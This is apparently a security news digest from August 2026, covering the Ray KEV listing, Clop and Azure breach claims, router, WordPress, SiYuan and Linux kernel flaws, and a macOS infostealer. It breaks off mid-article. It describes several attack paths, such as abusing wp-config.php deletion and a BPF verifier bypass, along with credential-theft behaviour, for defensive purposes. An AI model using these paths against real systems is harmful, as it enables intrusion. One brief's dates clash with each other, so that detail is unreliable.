0dayNews

Ray AI Framework Added to CISA KEV — Patch by Aug 21

Marisol "Fuse" Delgado — Mon, 17 Aug 2026 16:00:00 GMT

CISA added CVE-2025-62593 to its Known Exploited Vulnerabilities catalog on August 18, 2026, confirming active exploitation of a code injection flaw in Ray — the open-source distributed computing framework used widely for ML training, model serving, and data pipelines.

The vulnerability enables remote code execution. Per CISA and the GitHub Security Advisory (GHSA-q279-jhrf-cc6v), the attack surface includes exposure through Firefox and Safari, meaning Ray installations with reachable web interfaces are in scope.

Under BOD 26-04, federal civilian agencies must remediate this entry by August 21, 2026 — three days from publication.

Who's exposed

Ray is deployed broadly in ML production: distributed training clusters, Ray Serve inference pipelines, large-scale data preprocessing, AutoML platforms, and reinforcement learning infrastructure. Organizations running Ray on anything with a network-reachable surface — dashboards, job submission APIs, cluster UIs — are the immediate concern.

The default Ray dashboard runs on port 8265 and has shipped without authentication in many configurations. If your Ray instance is reachable beyond localhost — inside a corporate network, a cloud VPC, or exposed to the internet — that's the attack surface at issue here.

Developer workstations running Ray locally, and cloud-based training jobs in isolated environments, have a lower but nonzero exposure depending on how the instance is bound.

What to do

Check the GitHub advisory for GHSA-q279-jhrf-cc6v for the patched version and the fix commit (70e7c72). CISA's guidance when mitigations are unavailable: discontinue use of the product.

Concrete steps:

Find Ray in your environment. Check container images, ML training platforms (Anyscale, KubeRay, self-managed clusters), and any CI/CD pipelines that invoke Ray for distributed processing.
Patch to the fixed release per the GitHub advisory.
If you can't patch immediately: firewall port 8265 and any other exposed Ray ports to trusted networks. Do not leave the Ray dashboard bound to 0.0.0.0 or publicly reachable.
Check for unintentional exposure. Review your network scan data or Shodan results for Ray dashboard fingerprints. Exposed, unauthenticated Ray dashboards have been a recurring cloud finding for years.

Priority call

This is a KEV — the "do we patch it" question is settled. The question is when.

Federal agencies: August 21. That's the mandate.

Everyone else with Ray in network-reachable production: this week. KEV listing means active exploitation is confirmed, not theoretical. Opportunistic scanning against new KEV additions moves fast.

Isolated local dev installs with no network exposure: lower urgency, but schedule the update on your next regular cycle regardless.

Track this and all current CISA KEV entries at the 0dayNews KEV Tracker. For another recent AI/ML platform RCE, see MindsDB CVSS 10.0 unauthenticated RCE.

Clop Claims GE and Philips; Both Investigating

Morgan "airgap" Reyes — Mon, 17 Aug 2026 14:00:00 GMT

Clop named both General Electric and Philips on its extortion site. Both companies confirmed they are investigating. Neither has validated the claim.

BleepingComputer reports the acknowledgments came in response to Clop's public posting — standard Clop pressure mechanics, designed to force a response or accelerate settlement negotiations. GE and Philips are not the only organizations named in this campaign period. Breach date, attack vector, data volume, and affected divisions: none of these have been confirmed from either company.

Confidence labels

Confirmed (high): GE and Philips are actively investigating Clop's claims. Both companies issued statements to that effect.

Confirmed (medium): This is part of a wider Clop campaign. The language of each company's statement — and the simultaneous naming on Clop's site — is consistent with a mass-exploitation event targeting a common platform across multiple organizations. Specific co-victims: unconfirmed.

Unconfirmed: Attack vector, breach timeline, data categories affected, whether data has been published or previewed. These details originate from Clop's own site — treat as adversary-sourced until independently corroborated.

Who is Clop

Financially motivated extortion group, active since at least 2019. Their model: exploit a widely deployed enterprise platform (file transfer software, collaboration tools), harvest data from dozens or hundreds of organizations simultaneously, then post victim names publicly to force payment. They do not typically encrypt systems — data exfiltration and the threat of public exposure is the lever.

GE spans aerospace, power generation, and healthcare. Philips is primarily healthcare technology and consumer electronics. The sectors matter: regulated personal data, intellectual property, and operational technology environments may be involved depending on which divisions were exposed. Nothing in the current reporting confirms which assets Clop claims to hold.

What to watch

Official breach notifications from GE or Philips (regulatory filings or SEC disclosures if material).
Clop adding data previews to its leak site — a tactic the group uses to increase payment pressure.
Additional named victims in this campaign.
Any identification of the exploited platform.

Developing story. Updated as confirmed details emerge.

Microsoft Patch Underway for Defender ShieldBreak Zero-Day

Morgan "airgap" Reyes — Mon, 17 Aug 2026 10:00:00 GMT

Patch status: in progress. Not shipped.

Microsoft has confirmed it is developing a security update for CVE-2026-69414, the unpatched elevation-of-privilege vulnerability in the Defender Malware Protection Engine (MsMpEng.exe), tracked publicly as "ShieldBreak." BleepingComputer reports the disclosure is attributed to security researcher "Nightmare Eclipse" — identity not independently confirmed.

No patch is available as of August 17, 2026. No ship date has been announced. No active exploitation in the wild is confirmed.

What changed

CVE-2026-69414 dropped August 14 with an MSRC advisory and no fix. Initial coverage here: the flaw sits in MsMpEng.exe, which runs as SYSTEM on Windows hosts with real-time protection enabled. An attacker with local code execution access can escalate to SYSTEM through this EoP path.

Three days in, the patch remains in development. The interval is not unusual — Microsoft ships Malware Protection Engine updates out-of-band, outside the monthly Patch Tuesday cycle, as standalone engine builds when they are ready. The MSRC advisory will carry the engine build number when that happens.

This is distinct from CVE-2026-50656, a separately tracked ShieldBreak flaw that shipped in August Patch Tuesday and had a bypass circulating within 24 hours. Same "ShieldBreak" label, different CVE, different component.

What to do now

Nothing new since August 14.

Keep Defender Security Intelligence (definition) updates current. Microsoft ships these continuously and independently of engine builds; behavioral mitigations for unpatched engine flaws can arrive via signature updates before the binary patch. Confirm definitions are current via Get-MpComputerStatus in PowerShell or the Defender version panel under Windows Security.

Watch the MSRC advisory linked above. The engine build version will appear there when the patch ships — that is the authoritative signal, not third-party reporting.

Fortune 500 Firms Named in Azure Data Theft Claim

Morgan "airgap" Reyes — Mon, 17 Aug 2026 07:30:00 GMT

Claim unverified. A threat actor is publicly asserting mass data exfiltration from McDonald's, Tata Consultancy Services (TCS), Vodafone, and additional unnamed large organizations through Azure infrastructure, per SecurityWeek reporting published Monday morning. Stated volume: millions of records. No named company has confirmed unauthorized access at time of writing. Microsoft has not attributed the claimed exfiltration to a specific Azure vulnerability or misconfiguration.

Confidence breakdown:

Confirmed: SecurityWeek has reported the claim. A threat actor is publicly advertising this dataset.
Unconfirmed: Record authenticity. The specific Azure service, attack vector, or credential path involved. Whether the named organizations were aware before this disclosure.
Unknown: Threat actor identity. Whether samples have been validated by any of the named targets or an independent party.

The public advertising of claimed datasets — especially against high-profile targets — is consistent with extortion staging or data brokerage operations, where actors market access or records to create leverage or generate buyer interest before companies can respond.

Context. Azure-hosted environments have been persistent targets for credential-based intrusion chains throughout 2026. OAuth device-code phishing at industrial scale and misconfigured anonymous-access endpoints in enterprise cloud portals have both driven large-scale data harvesting with no CVE required. Whether this incident follows a similar pattern — or involves a distinct Azure service vulnerability — is unestablished.

What to watch:

Statements from McDonald's, TCS, or Vodafone security teams
Microsoft MSRC or Azure Security Advisory response
Sample validation or forensic confirmation by an independent third party
Whether additional named organizations surface in follow-up reporting

Treat the named targets as claimed, not confirmed. This story is developing. Further reporting will follow as details are verified.

Source: SecurityWeek — Fortune 500 Companies Hit in Azure Data Theft Campaign

GL.iNet 4.9.0 Fixes Five RCE Flaws in Wi-Fi Routers

Marisol "Fuse" Delgado — Mon, 17 Aug 2026 06:00:00 GMT

GL.iNet has confirmed and patched five vulnerabilities in firmware 4.8.x — four remote code execution flaws and one authorization bypass — all with public proof-of-concept code. The fix is firmware 4.9.0, available now. If you're running 4.8.x on any of the affected models, this is a straightforward call: update and move on.

The five CVEs

CVE-2026-19983 — CVSS 8.3, High

The most severe of the batch. An unauthenticated host-header manipulation in the NAS command service (/usr/bin/gl_nas_sys) allows remote code execution as root with no credentials required. Affected models: A1300, AX1800, AXT1800, MT2500, MT3000, MT6000, X3000, XE3000. Vendor advisory.

CVE-2026-19979 — CVSS 8.3, High

Authorization bypass in the WebDAV service's COPY and MOVE operations. An attacker can redirect file operations outside the intended public-share scope without authentication. Affects the widest device list of the five: A1300, AX1800, AXT1800, BE1400, BE3600, BE6500, BE9300, BE10000, E5800, MT2500, MT3000, MT3600BE, MT5000, MT6000, X2000, X3000, XE3000. Vendor advisory.

CVE-2026-19982 — CVSS 7.4, High

OS command injection via dest_port/dest_ip arguments in the firewall-management RPC. Affects the BE9300 and MT6000. Vendor advisory.

CVE-2026-19981 — CVSS 7.4, High

OS command injection via switch_power/restore_power arguments in the Wi-Fi Timer Power-Schedule feature. Affects seventeen models across the product line. Vendor advisory.

CVE-2026-19980 — CVSS 7.4, High

Code injection through hour/min/week arguments in the language auto-update scheduler (ui.update_langs). Same broad device list as CVE-2026-19981. Vendor advisory.

None of these are currently on the CISA Known Exploited Vulnerabilities catalog. That can change — public PoC exists for all five, which is the condition that typically precedes opportunistic exploitation.

Affected devices

Across all five CVEs, the vulnerable firmware line (4.8.x) covers:

A1300, AX1800, AXT1800, BE1400, BE3600, BE6500, BE9300, BE10000, E5800, MT2500, MT3000, MT3600BE, MT5000, MT6000, X2000, X3000, XE3000.

Not every device is in scope for every CVE — the NAS RCE (CVE-2026-19983) and firewall RCE (CVE-2026-19982) have narrower device lists, while the WebDAV bypass and the scheduler flaws hit the full range above.

What to do

Update to GL.iNet firmware 4.9.0.

Log in to the admin panel, go to System → Upgrade, and apply the update. GL.iNet's mobile app also supports firmware upgrades. The vendor's 4.9.0 release page lists firmware packages by device.

Check your admin panel exposure at the same time. The unauthenticated NAS RCE (CVE-2026-19983) doesn't require LAN position — it's remotely exploitable. If your router's admin interface is reachable from the WAN, restrict it to the LAN interface only (under System → Administration → Access Methods in most GL.iNet firmware versions).

Priority call

CVE-2026-19983 tops the list — unauthenticated root RCE is as bad as it gets, and with a public PoC, the window between "vulnerability disclosed" and "actively scanned" is short. The four remaining flaws at CVSS 7.4 are all remotely exploitable with public PoC as well.

Patch now. This is not a maintenance-window situation for any device that sits at a network edge or handles traffic from untrusted sources.

For context on other router-class vulnerabilities patched recently, see OpenWRT LuCI critical root RCE and the Evooo1Bot botnet targeting routers for SOCKS5 relay.

Wireshark 4.6.8 Patches 28 Vulnerabilities

Marisol "Fuse" Delgado — Mon, 17 Aug 2026 05:00:00 GMT

Wireshark 4.6.8 dropped August 16 with patches for 28 security vulnerabilities and fixes for 25 bugs. If you're running any earlier version in a packet capture or protocol analysis role — analyst workstations, capture probes, automated pipelines that parse PCAP files — this is a week-window update.

Specific CVE IDs and CVSS scores are enumerated in Wireshark's official release notes. SANS Internet Storm Center confirmed the release Monday morning.

No active exploitation of the patched vulnerabilities has been publicly reported as of publication. The release is not currently listed on the CISA Known Exploited Vulnerabilities catalog.

What to do

Update to 4.6.8. The path depends on your deployment:

Debian/Ubuntu: sudo apt update && sudo apt upgrade wireshark once 4.6.8 reaches your distribution's repos
macOS (Homebrew): brew upgrade wireshark
Windows: download the installer from wireshark.org/download.html
Enterprise (SCCM/Intune): check your software catalog; the new version should appear in the Wireshark MSI feed

Wireshark's dissector stack handles the parsing of hundreds of protocol types. The majority of historical CVEs in Wireshark have been dissector-level bugs — malformed packets in a capture file triggering a heap overflow or NULL dereference. With 28 issues addressed in one release, the patch surface is wide enough to take seriously even without active exploitation.

Priority call

Wireshark typically runs on analyst workstations and in testing environments, not in a production data path. That limits immediate blast radius. Standard priority: schedule it during your next maintenance window, not an emergency after-hours patch.

One exception: if you're feeding untrusted PCAP files into Wireshark or TShark as part of an automated analysis or CI/CD pipeline, move this up the queue. Dissector bugs are the exact class of flaw that activates when processing attacker-controlled network captures — a scenario more common in security tooling pipelines than it sounds.

For broader patch context from this week, see the August 2026 Patch Tuesday roundup and Fortinet's August advisory batch.

SafePal Breach: 39,798 Customers' Order Data for Sale

Morgan "airgap" Reyes — Mon, 17 Aug 2026 02:00:00 GMT

Confirmed: SafePal, a cryptocurrency hardware wallet provider, is warning approximately 39,798 customers that their order information was stolen following exploitation of a flaw in company systems. A threat actor is actively claiming to sell the stolen data. Source: BleepingComputer, 2026-08-16.

Confirmed: ~39,798 customers affected. Order information stolen. SafePal has issued customer notifications. Stolen data now listed for sale by a threat actor.

Unconfirmed — treat accordingly: The specific vulnerability class exploited. The precise data fields in the stolen set beyond "order information." Threat actor identity. When the breach occurred and how long unauthorized access persisted.

Critical distinction for SafePal device owners: This is not a wallet compromise. SafePal hardware wallets store private keys locally on the device — a breach of order and customer data systems does not expose those keys or on-chain funds. If you hold cryptocurrency in a SafePal hardware wallet, your on-chain assets are not at risk from this specific incident.

What's exposed: Customer order records. The exact field set hasn't been published; order databases typically contain names, shipping addresses, purchase history, and contact details. Intersection with credentials used elsewhere, or with other crypto service accounts, expands the risk surface.

For affected SafePal customers:

Watch for phishing targeting SafePal owners specifically — verified crypto hardware wallet buyers are a high-value phishing demographic.
Be alert to SIM-swap attempts if phone numbers are in the breached dataset.
If the same email and password were used for SafePal as for exchange accounts or other crypto services, rotate those credentials now.
SafePal's official channels are the authoritative source on breach scope and remediation — do not rely on unofficial summaries.

Analysis (speculative — no attribution evidence at publication): Crypto hardware wallet company order databases are a recurring target. The payload is the customer list — verified crypto holders with physical shipping addresses and purchase history. A 39,798-record scope is modest by volume; data quality over quantity is the likely objective, consistent with commercially motivated actors. No evidence linking this to a known APT. Attribution unknown — treat accordingly.

This follows Trezor's breach via shipping partner ShipMonk in August, which exposed 14,000 customers through a supply-chain compromise. The reported vector here appears direct rather than third-party — but specifics remain unconfirmed as of publication.

AmnesiaStealer Hijacks macOS Browser Sessions

Morgan "airgap" Reyes — Sun, 16 Aug 2026 23:45:00 GMT

New macOS infostealer confirmed active. Jamf researchers disclosed AmnesiaStealer today — a ClickFix-delivered payload that goes beyond credential harvesting and hands attackers a live, interactive browser session on the victim's machine.

Delivery

Distribution: ClickFix campaigns using fake GitHub download pages. Lure: a password-protected ZIP archive. Loader: a shell script that fetches and executes the main payload. ClickFix is social engineering, not a software exploit — it instructs users to paste and run attacker-supplied terminal commands to "install" what appears to be a legitimate download. No CVE. No patch. The attack surface is the user.

What it steals

Standard infostealer scope: credentials from 16 Chromium-based browsers (Chrome, Edge, Arc, Brave, Vivaldi, Opera, Chromium, and others), Apple Notes, local documents, cryptocurrency wallet data, keychain contents, and the macOS admin password captured during execution.

The stream module

The distinguishing capability: AmnesiaStealer includes a streaming module that duplicates the victim's browser profile in headless mode and establishes a WebSocket connection to an operator relay. Attackers receive a live screencast at approximately 3fps with full keyboard, mouse, and navigation control.

Practical impact: authenticated sessions — corporate SSO, banking, webmail — remain live inside the hijacked headless profile. Operators can interact directly without needing to extract and replay session tokens. The stolen credentials become secondary; the active session is the primary target.

Attribution and lineage

Jamf identified template overlap with Atomic Stealer and MacSync infostealer code — shared builder or codebase, likely. Specific threat actor attribution: unconfirmed.

This follows a pattern Jamf documented with PamStealer in July — macOS infostealers iterating quickly, borrowing code, adding credential-extraction primitives with each generation.

Mitigation

No software patch applies. Defense posture:

Users: Don't execute terminal commands from instructions found online unless you understand exactly what they do. Legitimate software installers don't require this.
Enterprise macOS fleets: Enforce MDM behavioral policies (Jamf Pro or equivalent) with alerts on unexpected process spawning.
EDR: Flag headless Chromium process execution and Chrome Safe Storage key access outside expected parent processes.
Incident response: If compromise is suspected, assume all saved browser credentials and active sessions are compromised. Rotate passwords and revoke active sessions across all services accessed from that machine.

Critical Flaws in Pods, Link Library Hit WordPress Sites

Dave "Kilobaud" Ferris — Sun, 16 Aug 2026 22:00:00 GMT

Two critical vulnerability disclosures this week for WordPress plugins. The Pods – Custom Content Types and Fields plugin carries a CVSS 9.8 privilege escalation (CVE-2026-19598) reachable without authentication. The Link Library plugin patches an unauthenticated arbitrary file deletion flaw rated CVSS 9.1 (CVE-2026-18855) that can cascade to remote code execution under a specific non-default configuration. Both are patched. Both require attention.

Pods: Authorization That Doesn't

Pods is infrastructure — the kind of plugin that manages custom post types, taxonomies, and field schemas across complex WordPress deployments. It's quiet until something goes wrong.

CVE-2026-19598 is in the pods_admin AJAX router. When WordPress processes requests through the JSON meta-box-loader compatibility path, the router funnels its access checks — login enforcement, capability verification, nonce validation — through pods_error(). Under that code path, pods_error() logs failures to the PHP error log and returns false rather than halting execution. Everything downstream proceeds regardless. An unauthenticated attacker who hits the right endpoint through the right path completes privileged operations without any valid session.

All Pods versions through 3.3.9 are affected. Update via the WordPress plugin directory.

Link Library: A Conditional RCE

Link Library manages curated link collections. The flaw (CVE-2026-18855) is in ll_delete_link_fields, which handles file cleanup when links are deleted. Insufficient path validation lets an unauthenticated attacker specify arbitrary file paths and remove files from the server.

The RCE angle is real but conditional: it requires an administrator to have enabled "Delete local file on link deletion," a setting that is off by default. With that option active, targeting wp-config.php exposes the WordPress re-install flow. An attacker who triggers it gets to configure a new admin account and takes full control of the site.

Worth checking immediately: whether that setting is enabled on any installation running Link Library. Disabling it removes the RCE pathway without a patch. The patch — update to the latest version through the plugin directory — closes the file deletion flaw entirely.

What to Do

Both plugins have updates available in the WordPress plugin directory. Operators running automated update management should confirm Pods and Link Library appear in their recent-change queue. For sites where immediate patching isn't possible, temporarily disabling either plugin is the safer interim choice — Pods especially, given the unauthenticated privilege escalation doesn't require any non-default configuration to exploit.

This is the third consecutive week of critical plugin disclosures on WordPress. That isn't unusual — the ecosystem spans tens of thousands of plugins maintained by teams of varying size, and dedicated security review isn't standard practice across most of them. The fixes exist. The open question is always the gap between patch date and update date.

Previous WordPress coverage this week: Patch Now: Critical Auth Bypass Hits WordPress Plugins (August 15) and WordPress 7.0.4 Patches High-Severity RCE Flaw (August 14).

SiYuan v3.7.4 Patches 11 CVEs, Critical RCE Confirmed

Morgan "airgap" Reyes — Sun, 16 Aug 2026 20:00:00 GMT

Eleven CVEs. Five critical. All patched in SiYuan v3.7.4.

The open-source self-hosted note-taking and knowledge management app published the release on August 15 via coordinated GitHub Security Advisories. No active exploitation confirmed at time of publication — treat that as a narrow window, not a grace period. Public proof-of-concept conditions exist for the XSS attack surfaces.

The Electron Problem

SiYuan runs an Electron desktop client with Node.js integration enabled. In this configuration, a stored cross-site scripting vulnerability that would be contained damage in a browser becomes arbitrary code execution on the host system. The kernel binds to 127.0.0.1 by default, but that's cold comfort when five separate injection paths lead to the same outcome.

CVE-2026-73043 — CVSS 9.0, Critical. The Template calculation operator renders user-authored Go templates without sanitization and stores output verbatim. Attackers inject HTML and JavaScript into template calculations; the Electron renderer executes them with Node integration enabled. Code execution when the database is opened. No special privilege required — any user who can author a template qualifies.

CVE-2026-73044 — CVSS 9.0, Critical. Table column width values written via the setAttrViewColWidth API are injected into style attributes without escaping. Injected event handlers fire on every table cell render.

CVE-2026-73041 — CVSS 9.0, Critical. Annotation fields saved by the setFileAnnotation endpoint are rendered unsanitized in the PDF viewer, which also runs with Node.js access. Malicious markup executes when a user opens an annotated PDF.

CVE-2026-73042 — CVSS 9.0, Critical. Database menu metadata — group names, view names, field descriptions — is interpolated directly into HTML. Injected markup breaks out of containing elements and runs event handlers when users open group, view, or field-edit menus.

CVE-2026-73053 — CVSS 9.0, Critical. The unicode2Emoji function fails to sanitize codepoint branch output. Crafted document icons with hex-encoded markup execute in the renderer.

Additional stored XSS paths fixed in the same release: CVE-2026-73050 (CVSS 9.0, color field in attribute-view select options, eight unescaped render sites) and CVE-2026-73052 (CVSS 9.0, attribute-view field names injected via innerHTML in the sort menu).

Authentication Failures

CVE-2026-73046 — CVSS 9.8, Critical. The most severe in the batch. The CheckAuth() middleware guards the /api/* surface via HTTP Basic Authentication, accepting the workspace access code as the Basic Auth password. The Basic Auth branch never consults the CAPTCHA gate or increments the failure counter used by the cookie/session login path. Result: unauthenticated remote attackers can brute-force the admin access code with unlimited automated requests. No lockout. No rate limit.

CVE-2026-73054 — CVSS 7.5, High. WebSocket endpoint authentication bypassed via differential parsing of duplicated query parameters. The exemption check and the session quarantine check interpret the URI differently; a crafted WebSocket URI with duplicated parameters clears auth and receives the live kernel event stream — document identifiers, titles, operation logs.

CVE-2026-73045 — CVSS 7.5, High. Per-notebook publish passwords at authFilePublishAccess have no rate limiting or CAPTCHA. Unbounded brute-force against published notebook passwords.

Server-Side Template Injection

CVE-2026-73047 — CVSS 6.2, Medium. The attribute-view Template calculation feature (added in v3.7.0-beta.1) uses Sprig's unmodified function map, including env, expandenv, and getHostByName — functions removed from Sprig elsewhere specifically to address CVE-2024-55660. The kernel binds to localhost by default, but any local unauthenticated process can inject a malicious template. Exploitation confirmed possible; exploitation in the wild unconfirmed.

Exploitation Status

Active exploitation: unconfirmed at time of publication. All disclosures originate from the siyuan-note GitHub Security Advisories, published coordinated with the v3.7.4 release. The XSS attack surfaces — column widths, field names, color values, document icons — are trivially reachable by any user who can edit a document or database. Treat exploitability as high.

Analysis: the Electron architecture is the force multiplier across all five XSS-to-RCE paths. The pattern is well-established and recurring; see also the Electron desktop client attack chain documented in July. Content isolation was not enabled. The same class of issue has burned other Electron apps before and will again until Node integration is disabled by default.

What to Do

Update to SiYuan v3.7.4. All eleven CVEs are fixed in this release.

If you were running an exposed SiYuan instance — even LAN-accessible only — treat the workspace access code as potentially enumerated given the CVE-2026-73046 brute-force window. Rotate it post-patch.

Published notebooks with per-notebook passwords: consider those passwords potentially compromised. Reset and re-notify authorized readers.

WebSocket event stream: if the endpoint was externally accessible, audit connection logs for unexpected sessions prior to the patch.

Full advisory index: siyuan-note Security Advisories on GitHub.

Threema Hit by Large-Scale DDoS, Service Disrupted

Morgan "airgap" Reyes — Sun, 16 Aug 2026 17:30:00 GMT

Confirmed: multiple large-scale distributed denial-of-service attacks hit Threema this week, causing severe disruptions to the secure messaging service. Source: BleepingComputer, 2026-08-16.

Threema is an end-to-end encrypted messaging platform with a user base spanning privacy-focused consumers, European enterprises, and government clients. This is an availability incident — no indication of cryptographic compromise, data breach, or unauthorized access to message content.

Confirmed: Service disruption to communications. Attacks described as large-scale.

Unconfirmed: Attacker identity. Motivation. Current service status — check Threema's official status channels directly rather than relying on this article.

For orgs running Threema as primary secure comms: assess your fallback channel now. High-confidence encrypted messaging services remain soft targets for availability attacks — the encryption holds, but the pipe can be flooded. If real-time communications are mission-critical, redundancy isn't optional.

Analysis (treat as speculative — no attribution evidence as of publication): DDoS campaigns against secure messaging services have historically coincided with geopolitical stress events. Threema's European government contracts and privacy posture make it a persistent interest point for adversaries whose operational interest includes disrupting encrypted communications channels. No evidence linking this incident to a known threat actor or active campaign. Attribution unknown — treat accordingly.

Related: Evooo1Bot Botnet Hijacks Routers as SOCKS5 Proxies — evolving botnet infrastructure enabling large-scale traffic attacks; Mirai Variant With Encrypted C2 and Credential Sniffer — growing commodity DDoS toolchain.

August Kernel Drop: The Enterprise CVEs Nobody Wrote About

Dave "Kilobaud" Ferris — Sun, 16 Aug 2026 16:00:00 GMT

The August 15 Linux stable drop put thirty-plus CVEs on NVD in a single day. The WiFi heap overflow, the CAN subsystem race cluster, and the SMB server stack overflow all got written up within hours. That is, predictably, not the full picture.

Three fixes in the same batch affect infrastructure that runs in enterprise data centers, storage networks, and secure computing environments. They did not trend. They are worth your attention regardless.

CVE-2026-72157 — ThunderboltIP frags[] overflow

Source: kernel.org stable commit, NVD entry published 2026-08-15. No CVSS score assigned as of publication.

tbnet_poll() in the kernel's ThunderboltIP driver assembles multi-frame packets by adding each subsequent frame as a page fragment to the skb. skb_add_rx_frag() runs up to frame_count - 1 times without checking skb_shinfo(skb)->nr_frags against MAX_SKB_FRAGS (17 on x86). A peer sending a packet with more than 18 frames overflows the frags[] array — a kernel heap corruption condition. The patch bounds frame_count before the loop starts.

Attack prerequisite: a malicious or compromised peer on a Thunderbolt connection. ThunderboltIP is used for direct device-to-device networking — Mac-to-Mac, workstation-to-NAS, cross-device docking. Physical access or supply-chain compromise of an attached device is the relevant threat model, not remote exploitation. In enterprise environments where Thunderbolt networking is used for high-speed workstation-to-storage transfers, a malicious or tampered dock is the exposure.

CVE-2026-72130 — NVMe-oF auth short-buffer heap overflow

Source: kernel.org stable commit, NVD entry published 2026-08-15. No CVSS score assigned as of publication.

NVMe over Fabrics implements DH-HMAC-CHAP authentication between initiator and target. nvmet_execute_auth_receive() on the target validates that the AUTH_RECEIVE allocation length is nonzero and matches the transfer length — but does not verify it is large enough for the fixed-size response structures. In the SUCCESS1 and FAILURE1 states, nvmet_auth_success1() and nvmet_auth_failure1() write a fixed-size DH-HMAC-CHAP response into that buffer without further size validation. A short-but-nonzero allocation length supplied by a remote initiator writes past the end of the heap allocation. The fix validates the allocation length against the response size before committing.

Prerequisite: a compromised or malicious NVMe-oF initiator on the fabric. In environments using in-kernel NVMe target support (nvmet), any host able to reach the target port can trigger this depending on fabric ACLs. NVMe/TCP extends that exposure to standard Ethernet-connected storage networks — no InfiniBand required.

This is the class of bug — fixed-size response, caller-supplied buffer size, no minimum check — that recurs in cryptographic handshake code across the industry. Per-protocol reinvention of authenticated key exchange tends to produce it. This is not the first time NVMe-oF auth code has needed this kind of review, and it will not be the last.

CVE-2026-72135 — TPM character device pread() OOB read

Source: kernel.org stable commit, NVD entry published 2026-08-15. No CVSS score assigned as of publication.

TPM character devices (/dev/tpm0, /dev/tpmrm0) expose a sequential command-response interface but were registered with FMODE_PREAD and FMODE_PWRITE enabled, permitting pread() with arbitrary offsets. tpm_common_read() bounds the transfer length against response_length but passes *off unchecked into data_buffer + *off. An out-of-bounds read follows for any offset past the response buffer.

Access to a TPM character device is privileged but not root-only in configurations where a service account has been granted TPM access — which includes several TPM attestation and key management setups. Less severe than the two networking bugs above, and no exploitation reported. The fix marks TPM character devices non-seekable via nonseekable_open().

The recurring pattern

Three CVEs in one batch, three different subsystems, the same structural failure each time: an integer or size value arriving from a peer or caller was not validated against the fixed-size structure it populated. This is not a novel bug class. The kernel's networking and storage stack is large enough that no single team reviews all of it with equal depth, and the result is that the same mistake recurs in different code paths, across different subsystem development histories, until a KCSAN run or a careful reader surfaces it.

The WiFi and CAN fixes got the headlines because WiFi and CAN have broad consumer exposure and known weaponization histories. ThunderboltIP, NVMe-oF, and TPM do not have that reputation — which is the same mistake, just operating on a different set of assumptions about what matters.

What to do

Update to the current Linux stable release. None of these three have confirmed exploitation in the wild as of publication; none are on CISA's KEV list. The patch is the remediation.

For environments with specific exposure: review whether ThunderboltIP is actually in use and disable it if not; audit NVMe-oF target ACLs and fabric segmentation to minimize the set of hosts that can reach authentication endpoints; review TPM device permissions for non-root service accounts.

Related coverage from the same August 15 stable drop: brcmfmac WiFi heap overflow and BPF verifier fix, CAN subsystem 14-CVE race cluster, ksmbd SMB server stack overflow, dm-crypt LUKS key wipe.

Linux Kernel Patches WiFi Heap Overflow, BPF Bypass

Morgan "airgap" Reyes — Sun, 16 Aug 2026 14:00:00 GMT

Thirty-plus Linux kernel CVEs landed on NVD on August 15. Most are maintenance-level. Four are security-relevant.

All four listed below are published and confirmed on NVD as of August 15, 2026. No CVSS scores have been assigned yet — severity assessments are based on the described impact in each NVD entry, not editorial guess.

CVE-2026-72003 — brcmfmac WiFi heap overflow

Source: NVD entry for CVE-2026-72003, published 2026-08-15.

The Broadcom WiFi driver (brcmfmac) processes 802.11 auth frames without enforcing a minimum length before reading fixed-size fields from the frame body. When mgmt_frame_len is below the management header offset (24 bytes), an unsigned subtraction wraps to a very large value and the subsequent memcpy runs far past the allocated kernel buffer.

Attack precondition: a malicious or malfunctioning access point sends a short auth frame during an external SAE auth exchange. Per the NVD description: "A malicious or malfunctioning AP can make the frame short during the external SAE auth exchange, so this is a remotely triggered heap overflow." Physical proximity to the rogue AP is required. No prior authentication or credentials are needed.

Affected: systems running the upstream brcmfmac driver. Broadcom 802.11 chips are common in consumer laptops, embedded devices, and single-board computers. Patch is in stable.

CVE-2026-68479 — Bluetooth btrtl firmware bounds

Source: NVD entry for CVE-2026-68479, published 2026-08-15.

The Realtek Bluetooth firmware loader (btrtl) copies firmware patch data without verifying that the patch is long enough to contain the version suffix it subsequently appends. A malformed firmware image shorter than the version field underflows the length calculation, producing an oversized heap read and write during Bluetooth device setup.

Attack vector is the firmware image, not over-the-air. Relevant threat models: supply-chain tampering or local firmware replacement. Lower immediacy than CVE-2026-72003.

CVE-2026-68462 — BPF verifier negative constant offset

Source: NVD entry for CVE-2026-68462, published 2026-08-15.

The eBPF verifier correctly blocked variable offsets for PTR_TO_TP_BUFFER and PTR_TO_BUF accesses but accepted constant negative offsets produced by pointer arithmetic — a gap created when commit 022ac0750883 moved constant offsets from reg->off to reg->var_off. A crafted BPF program with a constant offset of, for example, -8 and an instruction offset of zero would pass verification and load cleanly.

The BPF sandbox verifier is the primary isolation boundary for untrusted BPF programs. Out-of-bounds paths through the verifier have historically produced local privilege escalation. This patch closes one such path.

CVE-2026-72014 — DRBD peer-supplied size underflow

Source: NVD entry for CVE-2026-72014, published 2026-08-15.

The DRBD distributed block device driver processes data reply frames from peers. Per NVD: "two peer-controlled inputs can make [data_size] negative" — either a digest underflow when an integrity algorithm is in use, or an integer truncation from the wire length field in the default configuration. The subsequent I/O call then runs with a size of SIZE_MAX, corrupting kernel memory past the first mapped page.

A diskless DRBD node or one using read-balancing to a peer is exposed in the default configuration. Requires a compromised, malicious, or man-in-the-middle DRBD peer.

No exploitation confirmed in the wild for any of these four — unconfirmed, treat accordingly. No CISA KEV additions for this batch as of publication. Update to the latest stable kernel; the fixes are in stable.

Priority order for patching: CVE-2026-72003 first — proximity-triggerable WiFi heap overflows have historically had short timelines between disclosure and weaponization.

Evooo1Bot Botnet Hijacks Routers as SOCKS5 Proxies

Morgan "airgap" Reyes — Sun, 16 Aug 2026 12:00:00 GMT

Active since July. Confirmed by Fortinet researchers. A Mirai-based modular Linux botnet — Evooo1Bot — is compromising internet-facing gateway devices and converting them into SOCKS5 traffic relay nodes.

Source: BleepingComputer — New Evooo1Bot Linux botnet turns routers into traffic relay nodes.

Target range

Confirmed exposed targets: gateway devices from Alcatel, NETGEAR, Tenda, TP-Link, D-Link, Telesquare, and Zyxel. Later variants extended scope to Hikvision cameras, D-Link NAS devices, and server-side software including Atlassian Confluence, WSO2 products, and Kubernetes ingress-nginx controllers.

Target list is expanding — unconfirmed whether additional products are in scope.

How it lands

Exploitation module targeting known vulnerabilities. Successful compromise triggers download of one of twelve architecture-matched payload builds. Bash history cleared post-infection. Specific CVEs exploited: not disclosed in Fortinet's published analysis.

What it does

